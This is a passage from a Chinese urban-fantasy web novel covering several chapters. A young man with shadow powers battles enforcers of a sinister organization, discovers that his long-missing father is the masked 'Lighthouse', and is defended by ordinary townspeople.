费勇猛地抬头。
头顶的阴影里,道银光正往下落,像条吐着信子的毒蛇。那是空间切割系审判长的能力,边缘泛着扭曲的空气波纹,所过之处,石块都像被无形的刀切开,断面光滑得像镜子。
“躲!”土老怪突然大吼声,全身爆发出土黄色的光芒。
费勇只觉得一股巨力把自己往旁边掀,紧接着是震耳欲聋的轰鸣。他滚到边,回头时看见土老怪趴在石块上,后背被切开道深可见骨的伤口,土黄色的能量像漏气的气球似的往外冒。而那道空间切割,被层厚厚的土墙挡住了,虽然土墙已经布满裂纹,但确实拦下了致命击。
“傻老头……”费勇的眼眶发烫。
土老怪看着他,嘴唇动了动,没发出声音。他的影子慢慢变淡,最后化作点点土黄色的光粒,飘向费勇的影子——那是土系异能者最后的馈赠,能让他的影子暂时获得操控土壤的能力。
“谢了……”费勇低声说。
“小心!”
夏艳玲的尖叫突然从通道口传来。费勇抬头,看见第二道空间切割已经落下,比刚才那道更快、更亮,显然审判长没打算再给他们机会。他下意识举起手里的地脉精华结晶,却发现那东西在发抖,土黄色的光芒忽明忽暗,眼看就要碎了。
就在这时,道粉色的光突然从通道口飞过来,像只展开翅膀的蝴蝶,落在费勇身上。
是夏艳玲的布娃娃。
那只烧焦了半的布娃娃不知何时被她扔了过来,此刻正悬浮在费勇头顶,裂开的肚子里冒出无数粉色的光粒,像撒了把星星。这些光粒落在费勇身上,刚才被石块压出的伤
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口突然不疼了,连影子里紊乱的能量都平静下来——那是喜悦情绪具象化的治愈光粒,比苏清月的绿藤还要温柔。
“这是……”费勇愣住了。他记得夏艳玲说过,她的情绪具象化只能转化自身或他人的情绪,而这粉色光粒里的喜悦,纯粹得像初生的太阳,带着种“终于赶上了”的庆幸。
“嗡——”
空间切割撞上粉色光粒的瞬间,布娃娃突然炸开,粉色的光芒形成个巨大的泡泡,将费勇罩在里面。银光在泡泡上撞出圈圈涟漪,却没能切开那层薄薄的光膜。审判长发出声惊疑,显然没料到这种治愈能量能挡住他的空间切割。
“影遁!”
个熟悉的声音在耳边响起。费勇下意识发动异能,影子裹着他往地面钻。穿过层层土壤时,他听见头顶传来审判长的怒吼,还有道黑色的暗影能量与银光碰撞的轰鸣——是灯塔!
钻出地面时,费勇发现自己在监狱的操场上。苏清月正蹲在林悦身边,绿藤缠满她焦黑的右臂,看见费勇,眼睛亮:“你没事!”
夏艳玲扑过来,抱住费勇的胳膊,小脸煞白,手里还捏着布娃娃剩下的条胳膊:“娃娃……它自己飞出去的。”
费勇摸了摸她的头,手里的地脉精华结晶还在发烫。他看向监狱的方向,那里已经塌了大半,黑色的能量像蘑菇云似的往上冒,影石阵的六色光芒在烟尘中若隐若现。
突然,道黑色的冲击波从废墟里炸开,带着股熟悉的暗影能量。费勇的影子不受控制地迎上去,在能量洪流中,他看到了个清晰的画面:
废墟的中心,灯塔摘下了青铜面具。
那张脸饱经风霜,眼角有深深的皱纹,鬓角染着霜白,但鼻子、嘴巴、尤其是那双眼睛,都和费勇从镜子里看到的自己一模一样。左胸口,朵暗红色的烫伤疤痕在能量中闪着光,像朵永不凋谢的花。
“爸……”费勇的声音轻得像耳语。
冲击波散去时,灯塔的身影已经消失在烟尘里。只有道黑色的暗影能量飞过来,落在费勇手里,化作块黑色的石头——和他在影石阵中看到的,父亲手里拿的那块,模样。
石头上刻着个字:
“等。”
第80章:失控的暗影
烟尘还没散尽,费勇的影子已经像活过来的蛇,顺着碎石缝往外钻。刚才那块刻着“等”字的黑石在掌心发烫,像是要融进皮肤里——灯塔,也就是他那“失踪”十年的父亲,留下的不仅是两个字,还有股汹涌的暗影能量,正顺着手臂往他心口冲。
“费勇!”苏清月的声音穿透烟尘,绿藤像追踪**似的缠上他的手腕,带着草木的清香,“别硬扛!这能量不对劲!”
费勇想开口,却被喉咙里的腥甜堵住。影界入口撕裂的瞬间,他分明听见无数细碎的嘶吼,像是有无数影子在争抢着要钻进他的身体。《暗影重构术》的书页在脑海里疯狂翻动,最后定格在那行被红笔圈住的字:“影界能量至纯至烈,吞噬需以自身为容器,稍有不慎则被反噬。”
“反噬个屁。”他咬着牙笑,影子突然暴涨,将周围十米内的碎石、断刃甚至半块铁皮都卷了过来,在身侧堆成面黑色的盾。审判长的空间切割撞在盾上,发出刺耳的刮擦声,那些银色的光刃竟被影子黏住,像陷入泥潭的鱼,挣扎着慢慢熄灭。
“这是……”林悦刚扶着墙站起来,警服的袖子还冒着黑烟,看见这幕眼睛都直了,“你的影子能吞能量?”
费勇没工夫回头。他能感觉到影子里的力量在疯长,那些被吞噬的空间切割能量、影石阵泄露的黑雾,甚至还有刚才土老怪消散时留下的土黄色光粒,都在影子里翻腾、碰撞,最后拧成股黑色的龙卷风。
“影界领域……”他低声念着,脚下的影子突然铺展开,像块黑色的地毯,边缘泛着暗紫色的光。领域内所有的影子都在颤抖,包括林悦的、苏清月的,甚至远处几个还在爬的执法者的影子,都像被无形的线牵着,往费勇这边凑。
夏艳玲抱着布娃娃的残骸,蹲在块相对完整的石板上。她的影子最特别,里面飘着粉色的光粒,那些光粒接触到费勇的领域,竟像糖溶于水似的化开,让黑色的领域泛起层温柔的粉雾。
“别怕。”费勇的声音有点飘,他能“听”到领域内每个影子的动静——审判长躲在三块倒塌的钢筋后面,正凝聚道比刚才粗三倍的空间切割;两个执法者举着抑制器,从左侧的通道口摸过来;还有道微弱的气息在右侧,带着草木的清香,是苏清月悄悄绕过去准备偷袭。
“左边两个交给我。”林悦突然抬手,指尖迸出蓝白色的电火花,“你专心盯着那个戴面具的!”她的电流顺着地面的积水蔓延,滋滋的响声在领域里格外清晰。
费勇的影子突然**成三道,道化作长矛,精准地刺穿执法者的抑制器;道变成巨手,攥住那根刚凝聚成型的空间切割,硬生生往回扯;最后道最细,像根线,悄无声息地缠上审判长的脚踝。
“你以为复制了空间切割就能赢?”审判长的笑声像生锈的铁片在摩擦,他猛地扯断脚踝上的影线,银色的光刃突然炸开,化作漫天光点,“尝尝这个——空间碎裂!”
光点落下的瞬间,领域内的影子突然剧烈波动。费勇的头像被重锤砸中,眼前阵阵发黑——这些光点里藏着审判长的本源能量,吞噬它们,等于把颗**塞进影子里。
“别吞!”苏清月的绿藤突然从地底钻出,缠成个绿色的茧,将费勇裹在里面。那些光点撞在茧上,发出噼啪的响声,绿藤以肉眼可见的速度变黄、枯萎。
“清月!”费勇想挣开,却被藤条勒得更紧。
“听话!”苏清月的声音带着哭腔,手里的本源草汁液正顺着藤条往他身上流,“这能量我能中和,你别硬来!”
本源草的清香像道清泉,浇灭了影子里翻腾的躁动。费勇趁机稳住心神,影子突然收缩,将那些还没被绿藤挡住的光点全部揽进怀里——不是吞噬,而是用影傀儡的技法,将光点压缩成颗银色的球。
“审判长,你的能量,挺难吃的。”他扯了扯嘴角,把银球往那边扔,“还给你。”
银球在半空炸开,空间切割的能量反噬回去,审判长没料到他会来这么手,仓促间凝聚的护盾被撕开道口子,半边肩膀瞬间被自己的能量削掉,惨叫着倒飞出去。
“漂亮!”林悦吹了声口哨,电流跟上补了记,把想爬起来的审判长电得直抽搐,“这招叫什么?以彼之道还施彼身?”
费勇没答。他的影子还在微微发抖,刚才强行压缩能量让领域出现了裂痕,那些暗紫色的光正在慢慢褪去。苏清月扶着他坐下,绿藤轻轻拍着他的背,像在安抚只炸毛的猫:“别仗着有领域就乱来,你看,影子都累坏了。”
他低头看,自己的影子果然蔫蔫地趴在地上,像条刚淋过雨的狗。夏艳玲跑过来,把布娃
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娃剩下的那条胳膊塞进他手里:“这个给你,刚才它帮你挡了下光点呢。”
布娃娃的胳膊上还沾着粉色的光粒,蹭到影子上,蔫掉的影子竟抖了抖,慢慢舒展了点。
“谢了,小铃铛。”费勇揉了揉她的头发,掌心的黑石终于凉了下来,上面的“等”字像是活了,在影子里映出个模糊的轮廓——灯塔站在片纯白的空间里,面前是道巨大的门,门上刻满了和影石阵样的纹路。
“看来你爸是想让你帮他开门。”林悦凑过来看,突然皱起眉,“不过这门……怎么看着像裁决会总部的能量核心?”
苏清月的脸色也沉了下来:“如果影界能量和裁决会的核心有关联,那十年前的觉醒潮,恐怕不只是意外。”
费勇握紧黑石,影子突然兴奋地跳了下,卷过来块刚才被空间切割削掉的铁皮。铁皮上沾着点审判长的血,影子接触到血,竟清晰地映出幅画面:审判长在个圆形的大厅里,对着块巨大的影石鞠躬,而影石后面,坐着个戴着青铜面具的人,手指在石面上敲出段节奏——和费勇口袋里那半块影石的纹路完全吻合。
“判官。”他低声说,指尖泛白,“裁决会的老大,果然和影石有关。”
领域彻底散去,影子乖乖地贴在脚下,只是偶尔蹭蹭苏清月的绿藤,像是在撒娇。费勇看着那片狼藉的战场,突然觉得有点饿——刚才消耗太大,连带着肚子都开始**。
“喂,”他戳了戳林悦,“特调科的经费,能不能报顿烤肉?”
林悦翻了个白眼,掏出对讲机:“喂,老张,来清理下战场,顺便……带十串腰子,两打啤酒。”她挂了机,冲费勇抬抬下巴,“算我请的,谢你刚才救了我半条命。”
苏清月笑着摇头:“就知道吃,伤口不疼了?”嘴上说,却从背包里拿出瓶药膏,“这个抹上,影子能恢复快点。”
夏艳玲已经在旁边画圈圈了,她的影子里飘出个小小的烤肉串虚影,看得费勇更饿了。
远处传来警笛声,还有老张咋咋呼呼的嗓门:“林顾问!费勇小同志!腰子来了——”
费勇的影子立刻精神起来,在地上蹦了蹦,像在欢迎即将到来的美食。他看着这活宝似的影子,突然觉得,就算能量失控有点吓人,有这群人在身边,好像也没什么好怕的。
第81章:风行者的背叛
监狱外的柏油路被影石阵的冲击波掀得卷了边,像块被揉皱的锡纸。费勇正啃着第三串烤腰子,油星子溅在警服上——是林悦借给他的备用制服,肩章歪歪扭扭地挂着,比他身上那件沾满血污的T恤体面多了。
“我说老张,你这腰子烤得有点老。”他含混不清地说,影子在脚边晃悠,卷着块没吃完的烤馒头片,像只讨食的狗。
夏艳玲蹲在旁边,用树枝在地上画小人。她的影子里飘着粉色的光粒,那些光粒落在画纸上,竟让小人动了起来,拿着根迷你烤串吃得正香。苏清月坐在辆报废的警车引擎盖上,给林悦包扎右臂的伤口,绿藤缠着绷带绕了七圈,最后在手腕处打了个漂亮的蝴蝶结。
“别乱动。”苏清月拍开林悦想去抓烤串的手,“雷形态的后遗症还没消,伤口碰了油会发炎。”
林悦啧了声,视线却瞟向远处的岔路口。那里的路灯在刚才的**中弯成了C形,阴影里隐约有气流在涌动,像有什么东西正以极快的速度靠近。
“来了。”她突然说,指尖迸出点蓝火花。
费勇的影子瞬间绷紧,卷着他往后退了三步。几乎就在同时,道银色的残影从路灯后窜出来,带起的气流掀飞了地上的烤串签子,在柏油路上犁出细密的白痕。
风行者站在五米外,黑色作战服的袖子破了个洞,露出小臂上的裁决会标记——朵黑色的彼岸花,花瓣还在微微蠕动,像是活的。他手里捏着个银色通讯器,屏幕上正映出判官的侧脸,声音透过扩音器传来,带着金属摩擦般的质感:“拿到影石,新审判长的位置就是你的。”
“影石?”费勇把最后口腰子咽下去,抹了把嘴,“土老怪没告诉你?裁决会从不兑现承诺。”
风行者的眼神像淬了冰:“少废话。把你影子里的能量交出来,我可以让你死得痛快点。”他的身体周围泛起层银色的光晕,那是超音速移动的前兆,空气都被摩擦得发烫,“判官说了,你的暗影本源,能让我的速度突破音速三倍。”
“三倍?”林悦突然笑了,“就凭你?上次在破晓基地,是谁被只猫绊倒摔进泥潭的?”
风行者的脸瞬间涨红。那是半年前的事,他执行任务时被只流浪猫挠了脚踝,超音速状态下的平衡被打破,结结实实地摔进了隔壁工地的水泥浆里,最后是老鬼用高压水枪才把他冲干净。
“闭嘴!”他怒吼着冲向林悦,残影在原地叠出三个分身,分不清哪个是真的。
费勇的影子突然铺展开,黑色的领域瞬间覆盖了方圆十米。那些银色的残影冲进领域,速度骤降了七成,像被扔进了粘稠的蜂蜜里。风行者的真身踉跄了下,难以置信地看着自己的脚——影子正被领域里的黑雾缠着,每动下都像拖着块铅。
“影界领域?”他瞳孔骤缩,“你怎么可能……”
“托你的福。”费勇的影子化作长矛,尖端泛着银光——那是刚复制的空间切割能量,“土老怪说你给裁决会通风报信时,我就该把你切成片。”
影矛刺向风行者咽喉的瞬间,对方突然俯身,用胳膊肘撞向费勇的肋骨。这招又快又狠,显然是对破晓的格斗术了如指掌。费勇早有防备,影盾横在胸前,却被撞得后退两步,胸口传来闷痛。
“你以为复制了速度就能赢?”风行者狞笑着,身体再次泛起银光,这次竟在领域里跑出了残影,“判官给我的‘提速药剂’,能短暂突破任何能量压制!”
药剂?费勇注意到他脖颈处有片淡青色的血管,像蚯蚓似的在皮肤下游走。那是裁决会的违禁药剂“爆速”的副作用,用生命力换速度,三个月内必死无疑。
“为了当个审判长,连命都不要了?”费勇的影子突然**成数十道,在领域里织成张黑网,“老鬼要是知道你变成这样,能从坟里爬出来抽你。”
提到老鬼,风行者的动作顿了半秒。就是这半秒的迟疑,影网已经罩了下来。他慌忙提速想撞开网眼,却被突然冒出来的绿藤绊了下——苏清月不知何时将藤蔓伸进了领域,那些藤蔓上还缠着夏艳玲的粉色光粒,沾到风行者身上,竟让他的速度又慢了半拍。
“群废物!”风行者怒吼着撕开影网,右臂却突然传来刺痛。他低头看,道银色的影刃正插在肩膀上,伤口周围的皮肤迅速变黑——那是影界能量的侵蚀。
“这是……空间切割?”他惊恐地后退,“你连审判长的能力都复制了?”
费勇没
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说话,领域里的影子突然同时举起影刃,每把刃尖都泛着不同的光——蓝的是雷霆,绿的是藤曼,银的是空间切割,甚至还有点粉色的光粒,是夏艳玲的情绪能量。
“你以为只有你会提速?”费勇的身影突然在原地模糊,下秒竟出现在风行者身后,速度快得拉出残影,“忘了告诉你,你的超音速,我也会。”
这是他刚才在领域里偷偷复制的,虽然只能维持三分钟,还伴随着剧烈的头痛,但对付风行者足够了。影刃刺穿对方另条肩膀的瞬间,费勇解除了领域,剧烈的虚弱感涌上来,让他差点跪倒在地。
风行者摔在地上,肩膀的伤口喷出黑血,超音速状态彻底解除。他看着费勇,眼神从愤怒变成绝望,最后竟笑了起来:“你以为赢了?判官早就料到……”
话没说完,道黑色的能量从他胸口炸开。费勇下意识用影子护住苏清月和夏艳玲,等烟尘散去,地上只剩下滩黑色的血迹和半截通讯器,屏幕上的判官还在冷笑。
“自毁装置。”林悦踢了踢通讯器的残骸,“裁决会的老把戏,防止叛徒泄密。”
费勇靠在警车边喘气,头痛得像要裂开。苏清月递过来瓶绿色的药剂,喝下去后,喉咙里泛起薄荷般的清凉,虚弱感减轻了不少。
“他刚才说什么?”夏艳玲突然问,布娃娃的残骸在她手里微微发烫,“判官料到……料到什么?”
费勇的影子突然指向远处的城市天际线。那里的云层正在旋转,形成个巨大的漩涡,颜色从白慢慢变黑,像有什么东西正要从里面钻出来。
“不知道。”费勇握紧了口袋里的黑石,上面的“等”字又开始发烫,“但肯定不是好事。”
林悦突然掏出对讲机:“老张,带你的人去封锁城际公路,别让市民靠近漩涡区。还有,再带二十串腰子,要焦一点的。”
“还吃?”苏清月无奈地摇头。
“不吃饱怎么打架?”林悦挑眉,冲费勇抬了抬下巴,“对吧,新晋暗影主宰?”
费勇的影子在地上翻了个白眼,却悄悄卷过来串没吃完的烤腰子,塞到他手里。远处的漩涡越来越大,带着股熟悉的影界能量,像头蛰伏的巨兽,正慢慢睁开眼睛。
第82章:影石阵的余波
黑色漩涡在天际线翻滚的第三十七分钟,费勇的影子突然开始疯狂抽搐。那感觉就像有无数根针在扎,从脚踝直窜天灵盖,逼得他蹲在地上直冒冷汗,刚塞进嘴里的烤腰子都差点喷出来。
“怎么了?”夏艳玲丢下树枝跑过来,布娃娃残骸在她掌心发烫,粉色光粒像受惊的鸟雀般乱撞,“你的影子在哭。”
费勇抬头时,正好看见街对面的报刊亭突然炸开。不是被什么东西砸中,而是从内部膨胀、撕裂——卖报大爷的影子里窜出无数藤蔓,绿得发黑,像**蛇似的缠住整根路灯杆,玻璃碎片混着报纸漫天飞。
“异能失控。”苏清月的声音带着不易察觉的颤抖,她指尖的绿藤突然绷紧,指向城市的五个方向,“至少五个能量点同时爆发,都是普通异能者。”
林悦刚把最后一串腰子塞进嘴里,对讲机就发出刺啦的电流声。老张的大嗓门从里面炸出来,带着哭腔:“林顾问!城西菜市场乱套了!卖鱼的老王能喷水了!不是普通的喷水,是海啸啊!”
费勇的影子突然指向北方。那里的天空泛着诡异的橙红色,隐约有火光冲天——是星光小区,他以前租过房的地方。
“我去那边。”他扯掉警服上歪掉的肩章,影子在地上铺开,“清月,你跟夏艳玲去青禾堂,那里有备用的抑制药剂。林悦,特调科需要你镇场子。”
“等等。”林悦拽住他的胳膊,掌心的电流蹭蹭地往他皮肤上窜,“带上这个。”她塞过来个银色手环,上面刻着特调科的标志,“能短暂屏蔽影石能量,虽然只能用三次。”
费勇的影子卷过手环套在手腕上,触感冰凉。他转身时,瞥见夏艳玲悄悄把布娃娃塞进他背包,粉色光粒透过布料渗出来,在影子上印出细碎的光斑。
影遁穿过三条街时,费勇闻到了焦糊味。星光小区三号楼的外墙爬满了火舌,不是普通的火焰,而是深蓝色的,粘在墙上烧,连消防车的水柱都浇不灭。有个穿睡衣的男人悬在楼顶,双臂张开,每根手指都在喷蓝火,嘴里胡乱喊着:“我没失控!我在进化!”
“进化个屁。”费勇在楼下现身,影子瞬间铺展开,十米范围的影界领域将整栋楼罩住。那些乱窜的火苗撞上领域边缘,突然像被掐住脖子似的矮了半截,颜色也从深蓝褪成橘红。
男人愣了下,低头看见费勇,突然暴怒:“是你!裁决会的走狗!”他猛地俯冲下来,蓝火在领域里炸开,却只燎黑了费勇的发梢。
“看清楚再说。”费勇的影子突然化作道水幕——是上周在特调科复制的水系异能,虽然只能维持半分钟,对付这点火足够了。水幕浇在男人身上,蓝火滋滋地缩成火星,露出他胳膊上的灼伤,“你儿子在二楼窗台哭呢。”
男人果然僵住了。费勇趁机冲上楼,影子缠住他的脚踝往下拽,同时对围观人群喊:“都别看了!快往后退!”
有个戴眼镜的大叔举着手机拍得起劲,被费勇瞪了眼,反而更兴奋了:“异能者打架?我要发朋友圈!”话音刚落,他手里的手机突然炸开,碎片溅到脸上,“**!我的手机也进化了?”
“是能量紊乱。”苏清月的声音从背后传来,她不知何时带着夏艳玲赶来了,绿藤顺着楼梯扶手往上爬,在男人身上缠出个绿色的茧,“他体内的影石能量快溢出来了,再晚点就没救了。”
夏艳玲蹲在旁边,把布娃娃贴在茧上。粉色光粒顺着藤蔓往里钻,男人的嘶吼声慢慢变弱,茧上渗出黑色的雾气——那是被情绪能量逼出来的影石残留。
“你怎么来了?”费勇帮她把滑掉的布娃娃捡起来。
“青禾堂也乱了。”苏清月的额头渗着细汗,绿藤的颜色比刚才浅了些,“来的路上看见三个异能者,有个能操控金属的老太太,把菜市场的秤都吸到天上去了,还有个学生……”她顿了顿,声音沉下去,“能力突然消失,哭着说自己变成废人了。”
费勇想起十年前的照片。父亲抱着年幼的他站在研究所门口,背景里有个戴眼镜的男人,胸前别着“异能研究中心”的徽章,和刚才举着手机拍照的大叔长得有七分像。
“这不是进化,也不是失控。”他摸着腕上的银色手环,影子突然指向市中心的钟楼,“是影石阵在回收能量。就像……就像拔插头前,电器会闪下。”
苏清月的脸色瞬间白了:“你是说……”
“十年前的觉醒潮,可能不是意外。”费勇的影子突然剧烈收缩,领域边缘泛起紫色的光——有更强的能量正在靠近。他抬头看,钟楼顶端的避雷针正在滋滋地冒火花,周围的云层旋转得更快了,像个巨大的漏斗,“它在找最后块影石。”
夏艳玲突然抓住他的手,布娃娃的眼睛亮得吓人:“爸爸……在钟楼。”
费勇的心猛地跳了下。她指的不是灯塔,而是十年前抱着她在研究所草坪上放风筝的男人——夏艳玲的父亲,初代情绪系异能者,据说在觉醒潮中失踪了。
“走。”他拽起苏清月就往楼下跑,影子在身后化作盾牌,挡住块坠落的水泥板,“去钟楼。”
刚跑到小区门口,就看见林悦开着辆警车冲过来,轮胎在地上磨出黑烟。她摇下车窗,警服上沾着咖啡渍:“你们上新闻了!有人把你用水幕灭火的视频发网上了,现在#异能者拯救世界#和#恐惧异能者#
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两个词条吵翻了。”
她把手机递过来,屏幕上是费勇的影子化作水幕的画面,配文:“这就是裁决会说的怪物?我看比某些拿着纳税人钱不作为的强多了!”下面的评论吵得不可开交,有人刷“烧死异能者”,有人发“求保护”,还有人在讨论他的影子是不是染了发。
“还有个坏消息。”林悦打了把方向盘,警车差点撞上棵被金属秤砸歪的树,“特调科的王科长带着人往钟楼去了,说要‘清除所有不稳定因素’。”
费勇的影子突然缠住方向盘,迫使车子拐了个急弯。他看着窗外掠过的街道,刚才那个举着手机拍照的大叔正被两个穿黑西装的人架走,嘴里还在喊:“我不是异能者!我只是拍了视频!”
“不稳定因素。”费勇低声重复着这几个字,影子在座位底下翻出把影刃,尖端泛着冷光,“他们要清除的不是能量紊乱的异能者,是所有和十年前觉醒潮有关的人。”
警车在钟楼前停下时,费勇看见王科长正指挥着执法者布置能量网。钟楼顶端的避雷针已经被黑色的雾气包裹,隐约有个穿白大褂的人影在雾里晃——和照片里的男人重合在一起。
“费勇!”王科长看见他,立刻举起抑制器,“你果然在这里!判官大人说的没错,你就是第七块影石的容器!”
费勇没理他,影子突然暴涨,将能量网撕开个口子。他冲向钟楼的瞬间,听见苏清月在身后喊:“小心!他体内的影石能量,和十年前害死我家人的一模一样!”
钟楼的台阶上长满了黑色的藤蔓,像影石阵的延伸。费勇往上跑时,影子突然抓住块掉落的墙砖,上面刻着半朵花——是父亲左胸口的烫伤疤痕同款。
顶端的雾气里,白大褂人影慢慢转过身。他手里拿着半块影石,和费勇口袋里的黑石能拼合成完整的圆形。
“你终于来了。”人影的声音和记忆里的重合,带着槐花香的气息,“该把影石拼起来了,儿子。”
费勇的影子不受控制地往前伸,就在即将触碰到影石的瞬间,王科长的抑制器突然射出道红光,打在他的后心。暗影能量瞬间紊乱,领域像破掉的气球般缩小,影石在雾里发出刺耳的嗡鸣。
“抓住他!”王科长的狞笑声在钟楼里回荡。
费勇跪倒在地,看着影子里渗出的黑色雾气,突然笑了。他摸出夏艳玲的布娃娃,粉色光粒顺着指缝往下掉,在地上拼出个完整的图案——是十年前,他和夏艳玲在研究所草坪上画的太阳,旁边有两个牵手的小人。
“想回收能量?”他的影子突然再次暴涨,这次不是黑色,而是泛着粉色的光,“问过我们了吗?”
第83章:普通人的接纳
钟楼顶端的黑色雾气还在翻滚,费勇的影子却像块浸了水的海绵,沉甸甸地贴在地面。王科长的抑制器红光穿透后背时,他清楚听见影子里传来细微的碎裂声——那是影界领域被强行撕裂的声音,疼得他眼前发黑,半跪在地时膝盖磕在台阶上,发出沉闷的响声。
“抓住他!”王科长的吼声裹着回音砸下来,执法者的黑色战靴踩得台阶咚咚响。费勇刚要撑起身体,影子突然卷住他的脚踝往后拽,余光里瞥见道粉色光流从背包里窜出来,在面前织成道半透明的屏障。
夏艳玲不知何时跑上了钟楼,布娃娃残骸在她手里发出细碎的嗡鸣,粉色光粒顺着她的指尖往屏障上涌:“不准碰他!”
执法者的电击棍撞在屏障上,发出滋滋的响声,光粒像沸腾的水似的溅开,烫得那人嗷嗷直叫。费勇趁机影遁到夏艳玲身后,影子化作盾牌护住两人,却发现掌心的黑石正在发烫,与钟楼顶端那半块影石产生了共鸣,黑色雾气里隐约有影刃在凝聚。
“别硬碰硬。”苏清月的声音从楼下传来,绿藤顺着栏杆往上爬,在执法者的脚踝上缠出个漂亮的死结,“我们被包围了。”
费勇低头时,心脏猛地一缩。钟楼四周的街道上,不知何时围满了人。有星光小区被救的居民,有举着手机拍照的大叔,甚至还有卖报大爷——他胳膊上的藤蔓已经消退,正举着根断裂的路灯杆,虎视眈眈地盯着执法者。
“就是他们!”三楼窗台那个哭鼻子的小男孩突然指着王科长,声音清亮,“刚才要抓救我们的哥哥!”
人群像被点燃的**桶。卖鱼的老王拎着沾着鱼鳞的橡胶围裙挤到前面,嗓门比消防车的警笛还响:“王胖子!你当特调科是你家开的?前天还买我两斤注水虾,今天就敢抓英雄?”
王科长的脸涨成了猪肝色,举着抑制器的手都在抖:“都让开!这是异能者**!妨碍执法者同罪!”
“什么**?”戴眼镜的大叔推了推滑到鼻尖的眼镜,举起手机对准他,屏幕上正播放着费勇用水幕灭火的视频,“人家救了楼的人,你倒好,背后放冷枪。我看该抓的是你!”
人群突然往中间挤,像潮水似的漫过执法者的脚边。有人举着刚买的菜,有人攥着孩子的书包,还有个穿校服的女生把共享单车横在路中间,车筐里的练习册哗啦啦掉出来,正好砸在个执法者的皮鞋上。
“人墙?”费勇的影子轻轻碰了碰夏艳玲的手背,粉色光粒在他手心里打了个转,“他们在保护我们。”
夏艳玲没说话,只是把布娃娃往他手里塞了塞。费勇握住时,突然听见串细碎的笑声——是十年前的声音,他和夏艳玲蹲在研究所草坪上,看她父亲用情绪能量编粉色的花环,阳光落在两人交握的手上,和现在的温度一模一样。
“老鬼说的没错。”苏清月的绿藤悄悄缠上他的手腕,传来清凉的触感,“共存不是说说而已。”
就在这时,林悦的声音从人群外炸进来,带着电流的滋滋声:“王科长!你涉嫌勾结裁决会,滥用职权,现在停职接受调查!”
费勇抬头,看见林悦倚在辆变形的警车上,警服外套敞开着,里面的T恤还沾着咖啡渍,手里却举着个银色的记录仪,屏幕上正播放着王科长和判官的通讯录音。老张举着防爆盾站在她身后,盾上还贴着半块没撕干净的烤腰子签。
王科长的抑制器“哐当”掉在地上,脸色惨白如纸:“不可能……你们怎么会有这个?”
“要想人不知,除非己莫为。”林悦吹了声口哨,手腕上的银色手环突然亮了,“特调科高层下令,撤销对费勇的通缉令。另外,恭喜你,王胖子,你的名字现在在裁决会叛徒名单上排第一。”
人群突然爆发出欢呼。卖鱼的老王拎着他的橡胶围裙往天上甩,水珠溅了旁边大妈一脸;戴眼镜的大叔把手机举得老高,直播弹幕刷得飞快,有人刷火箭,有人发“保护我方暗影小哥”;连卖报大爷都掏出皱巴巴的烟盒,往费勇手里塞了根红塔山,烟盒里还夹着张十年前的旧报纸,头版照片正是父亲抱着他站在研究所门口。
费勇的影子突然在地上铺开,
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比刚才在星光小区时稳了许多。他低头看,影子里映出张熟悉的脸——老鬼坐在图书馆的旧藤椅上,手里摇着蒲扇,笑纹里都沾着灰尘:“小子,记住了,光有力量不够,还得有相信光的人。”
“相信光?”他突然笑出声,影子卷过那根红塔山,往卖报大爷手里塞了塞,“谢了,我不抽烟。”
大爷愣了愣,突然往他兜里塞了个东西。费勇摸出来看,是颗用报纸折的星星,棱角都磨圆了,里面夹着张字条:“十年前救我的人,影子和你一样。”
林悦不知何时挤了过来,用胳膊肘撞了撞他的肩膀:“傻笑什么?特调科请你喝茶,顺便聊聊影石能量怎么处理。”
“喝茶就算了。”费勇的影子突然指向钟楼顶端,黑色雾气里的影石碎片正在慢慢合拢,“我爸……灯塔还在上面。”
“灯塔?”林悦挑眉,突然拽住他的胳膊往人群外走,“正好,他让我给你带句话。”
穿过人墙时,费勇感觉有无数道目光落在身上,有感激,有好奇,还有个刚会走路的小孩举着颗糖往他手里塞,糖纸在阳光下闪闪发亮。他的影子轻轻碰了碰那孩子的影子,在地上映出个歪歪扭扭的笑脸。
“你看。”林悦突然停下脚步,指着天上的黑色漩涡,那里的云层正在慢慢变淡,“影石能量在消退。”
费勇抬头,看见漩涡中心透出点微光,像被乌云遮住的月亮。他的影子突然兴奋地跳了跳,卷过来片飘落的梧桐叶,叶面上还沾着点粉色的光粒——是夏艳玲的情绪能量,混着他的暗影能量,在阳光下泛着奇异的金芒。
“灯塔说什么?”他问。
林悦的嘴角勾了勾,掌心的电流蹭蹭地往他胳膊上窜:“他说,该聊聊你爸的事了。还有,青禾堂的厨房炖了汤,让你这大功臣过去补补。”
费勇的影子突然指向青禾堂的方向,那里的绿藤正在疯长,从窗户里探出来,在阳光下织成道绿色的拱门,像在欢迎什么人。他摸了摸兜里的纸星星,突然觉得,十年前丢失的东西,好像正在一点点回来。
第84章:灯塔的解释
青禾堂后院的药罐正咕嘟冒泡,紫苏混着薄荷的香气漫过石桌。费勇盯着杯底沉浮的茶叶,影子在桌面铺开,像块被揉皱的黑布——从钟楼回来后,它就没舒展过,总在桌角蹭来蹭去,像在预警什么。
“他在书房等你。”苏清月把块方糖放进他茶杯,绿藤轻轻卷走桌上的药渣,“进去前最好有个心理准备,灯塔……他比你想象中要老。”
费勇起身时,指尖的黑石突然发烫。那是钟楼顶端那半块影石的共鸣,此刻正稳妥地收在书房抽屉里,被苏清月用三层防能量纸包着,却仍能透过木柜传来脉动,像颗藏在暗处的心脏。
书房门是老松木做的,推开门时发出“吱呀”的**,惊得梁上的燕子扑棱棱飞起来。逆光中站着个穿灰布褂子的男人,背比老槐树还弯,手里攥着个磨得发亮的铜烟杆,烟雾在他鬓角的白发里绕来绕去。
“坐。”男人转身时,费勇的呼吸突然卡住。那道从眉骨延伸到颧骨的疤痕,和老照片里父亲左脸的烫伤重合,连疤痕边缘那点淡粉色的增生都分毫不差。
影子在脚边剧烈抽搐,费勇按住桌沿才没失态。桌上摊着张泛黄的地图,用红笔圈着七个点,其中六个已经打了叉,最后个红圈正对着城市北郊的废弃工厂——裁决会总部的位置。
“十年前那场**,我没逃出来。”男人往烟锅里填着烟丝,动作慢得像在拆解精密仪器,“判官把我扔进影界裂隙,本想让暗影能量把我撕碎,没想到……”他突然笑了,眼角的皱纹堆成沟壑,“我体内的暗影本源和裂隙产生了共鸣,非但没死,还成了唯一能在影界自由穿行的人。”
费勇的影子突然窜出去,卷住男人垂在身侧的手。那只手上布满老茧,虎口处有个月牙形的伤疤——是小时候带他放风筝时被风筝线勒的,当时他还哭着说要给爸爸吹吹。
“影界是什么样的?”费勇的声音有点发紧,影子正顺着男人的手腕往上爬,贪婪地吸收着他身上逸散的暗影能量,“我妈……”
